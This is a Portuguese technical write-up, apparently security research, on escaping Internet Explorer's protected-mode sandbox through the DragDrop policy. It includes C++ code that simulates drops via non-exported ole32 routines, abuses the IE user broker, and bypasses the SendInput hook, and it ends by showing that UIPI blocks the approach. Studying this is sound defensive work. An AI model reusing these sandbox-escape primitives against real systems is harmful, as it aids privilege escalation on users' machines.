- A política DragDrop no sandbox do IE
Uma das formas estudadas de evasão do sandbox do Internet Explorer envolve o abuso de programas listados na chave ElevationPolicy. De maneira análoga, o IE mantém uma configuração chamada DragDrop, responsável por controlar se uma operação de arrastar-e-soltar pode cruzar a fronteira do sandbox:
HKLM\Software\Microsoft\Internet Explorer\Low Rights\DragDrop
Os valores possíveis dessa política são:
- 0: a janela de destino não é um drop target válido — operação negada;
- 1: a janela é um drop target válido, mas o conteúdo não pode ser copiado;
- 2: o IE exibe um diálogo de confirmação para o usuário e, se confirmado, copia o conteúdo;
- 3: a operação de arrastar-e-soltar é permitida silenciosamente.
Em uma instalação limpa do Windows 8.1, a chave DragDrop contém, por padrão, iexplore.exe, explorer.exe e notepad.exe, todos com valor 3.
- Comportamento do Explorer como destino do arrasto
Mesmo com a política configurada para 3, arrastar um arquivo do IE para uma janela do Explorer pode fazer com que o próprio Explorer exiba um prompt de confirmação. No entanto, essa confirmação não ocorre quando o destino é o painel lateral de árvore de diretórios do Explorer. Essa inconsistência pode ser explorada para transferir dados para processos de maior privilégio, desde que seja possível simular a operação de arrasto por código a partir do sandbox.
- Arrasto OLE sem movimento real do mouse
O mecanismo de arrastar-e-soltar do Windows é baseado em COM e define três interfaces principais:
IDropSource: representa a origem do arrasto;IDropTarget: representa o destino do arrasto;IDataObject: transporta os dados sendo arrastados.
A função ole32!DoDragDrop orquestra o processo. Internamente, ela cria uma instância de CDragOperation e, em um laço, atualiza o destino, processa mensagens e finaliza a operação. O núcleo da ação ocorre em ole32!PrivDragDrop. Ao invocar essas rotinas internas diretamente, é possível reproduzir o arrasto sem depender do posicionamento do cursor:
HRESULT SimularDrop(HWND hWndDest, IDataObject* pDataObject)
{
GetPrivateClipboardWindow(CLIP_CREATEIFNOTTHERE);
CreateSharedDragFormats(pDataObject);
void* pMarshalBuffer = nullptr;
HRESULT hr = GetMarshalledInterfaceBuffer(
IID_IDataObject,
pDataObject,
&pMarshalBuffer);
if (FAILED(hr))
return hr;
DWORD dwEffect = 0;
POINTL pt = { 0, 0 };
void* pDragCtx = nullptr;
hr = PrivDragDrop(
hWndDest,
DRAGOP_ENTER,
pMarshalBuffer,
pDataObject,
MK_LBUTTON,
pt,
&dwEffect,
0,
&pDragCtx);
if (SUCCEEDED(hr))
{
hr = PrivDragDrop(
hWndDest,
DRAGOP_OVER,
nullptr,
nullptr,
MK_LBUTTON,
pt,
&dwEffect,
0,
&pDragCtx);
if (SUCCEEDED(hr))
{
HWND hClip = GetPrivateClipboardWindow(CLIP_QUERY);
hr = PrivDragDrop(
hWndDest,
DRAGOP_DROP,
pMarshalBuffer,
pDataObject,
0,
pt,
&dwEffect,
hClip,
&pDragCtx);
}
}
return hr;
}
Essas funções não são exportadas; seus endereços são obtidos por meio de offsets fixos dentro do ole32.dll. O handle da janela de destino pode ser resolvido com FindWindow ou variações, e a origem pode construir um IDataObject contendo um formato CF_HDROP.
- Construindo um IDataObject para arquivo
Uma das maneiras mais simples de obter um IDataObject para um arquivo é utilizar as classes de suporte a OLE do MFC. O exemplo abaixo aloca um bloco HGLOBAL no formato DROPFILES e o associa a um COleDataSource:
IDataObject* CriarObjetoDeArquivo(const CString& caminho)
{
COleDataSource* pFonte = new COleDataSource();
IDataObject* pObj = nullptr;
UINT cbTamanho = sizeof(DROPFILES) +
sizeof(TCHAR) * (caminho.GetLength() + 2);
HGLOBAL hGlobal = GlobalAlloc(GHND | GMEM_SHARE, cbTamanho);
if (!hGlobal)
return nullptr;
DROPFILES* pDrop = static_cast<DROPFILES*>(GlobalLock(hGlobal));
if (pDrop)
{
pDrop->pFiles = sizeof(DROPFILES);
TCHAR* pDest = reinterpret_cast<TCHAR*>(
reinterpret_cast<LPBYTE>(pDrop) + sizeof(DROPFILES));
lstrcpy(pDest, caminho);
GlobalUnlock(hGlobal);
FORMATETC fmt = {
CF_HDROP,
nullptr,
DVASPECT_CONTENT,
-1,
TYMED_HGLOBAL
};
pFonte->CacheGlobalData(CF_HDROP, hGlobal, &fmt);
pObj = static_cast<IDataObject*>(
pFonte->GetInterface(&IID_IDataObject));
}
else
{
GlobalFree(hGlobal);
}
return pObj;
}
- Como o IE executa o arrasto dentro do sandbox
Quando o usuário arrasta algo dentro de uma aba do IE em modo protegido, a operação não é concluída no próprio processo da aba. Em vez disso, o processo filho envia uma mensagem ALPC para o processo principal do IE, que então executa a chamada real a DoDragDrop. A cadeia de chamadas se parece com:
Processo filho (sandbox):
MSHTML!CDoc::DoDrag
MSHTML!CDragDropManager::DoDrag
combase!ObjectStubless
... ALPC ...
Processo principal do IE:
... recebe ALPC ...
RPCRT4!Invoke
IEFRAME!CShdocvwBroker::PerformDoDragDrop
IEFRAME!CShdocvwBroker::PerformDoDragDropThreadProc
ole32!DoDragDrop
- Restrições de segurança impostas pelo sandbox
Um código executando dentro do sandbox pode criar um IIEUserBroker e, a partir dele, obter uma referência a IShdocvwBroker, alcançando PerformDoDragDrop no processo principal. Isso permite chegar até DoDragDrop com parâmetros controlados:
typedef HRESULT (__stdcall *PFnCriarUserBroker)(IIEUserBroker**);
IIEUserBrokerPtr CriarBrokerUsuario()
{
HMODULE hLib = LoadLibrary(L"iertutil.dll");
if (!hLib)
return nullptr;
PFnCriarUserBroker fnCriar = reinterpret_cast<PFnCriarUserBroker>(
GetProcAddress(hLib, reinterpret_cast<LPCSTR>(58)));
if (!fnCriar)
return nullptr;
IIEUserBrokerPtr pBroker;
return SUCCEEDED(fnCriar(&pBroker)) ? pBroker : nullptr;
}
IIEUserBrokerPtr pBroker = CriarBrokerUsuario();
IShdocvwBroker* pVis = nullptr;
pBroker->BrokerCreateKnownObject(
CLSID_CShdocvwBroker,
__uuidof(IShdocvwBroker),
reinterpret_cast<IUnknown**>(&pVis));
pVis->PerformDoDragDrop(
hWndDest,
pDataObject,
pDropSource,
0,
0,
&dwOk,
&lResultado);
Para simular o arrasto, restam duas abordagens possíveis:
-
Invocar funções internas do
ole32.dllno prcoesso principal: inviável, porque o código no sandbox só pode sair através da interface do broker, sem acesso direto ao espaço de endereçamento do processo principal. -
Alterar a posição do cursor:
DoDragDroputiliza a posição do mouse para determinar a janela de destino, mas o sandbox impede essa alteração. -
Bloqueio da movimentação do cursor e UIPI
Dentro do sandbox, chamadas como SendInput e SetCursorPos não funcionam. A SendInput é interceptada por um hook em IEShims.dll:
IEShims.dll!NS_InputQueueLowMIC::APIHook_SendInput
IEFRAME!FrameUtilExports::PreSendInput
ShimHelper::PreSendInput
É possível contornar o hook chamando diretamente user32!NtUserSendInput, obtida por offset. No entanto, a operação ainda falha silenciosamente por causa do UIPI (User Interface Privilege Isolation), mecanismo do kernel que valida o nível de integridade e o contexto de AppContainer entre processos. SetCursorPos sofre a mesma restrição.
A lógica de verificação no kernel, no Windows 8.1, pode ser resumida assim:
int VerificarAcessoPorNivelIntegridade(
unsigned int ilOrigem,
int acOrigem,
unsigned int ilDestino,
int acDestino)
{
if (gbEnforceUIPI && ilOrigem < ilDestino)
return 0; // acesso negado
if (gbEnforceUIPI && ilOrigem == ilDestino)
{
return acOrigem == acDestino ||
acDestino == -1 ||
acOrigem == -1 ||
SeIsParentOfChildAppContainer(
gSessionId,
acOrigem,
acDestino);
}
return 1; // acesso permitido
}
Se o nível de integridade da origem for inferior ao do destino, a ação é negada. Quando os níveis são iguais e ambos executam dentro de um AppContainer, o kernel exige que o processo de origem seja pai do processo de destino. Essa verificação, realizada em win32k!CheckAccessForIntegrityLevel, impede que um processo de baixa integridade dentro do sandbox mova o cursor ou envie entrada para processos mais privilegiados, bloqueando efetivamente a simulação do arrasto.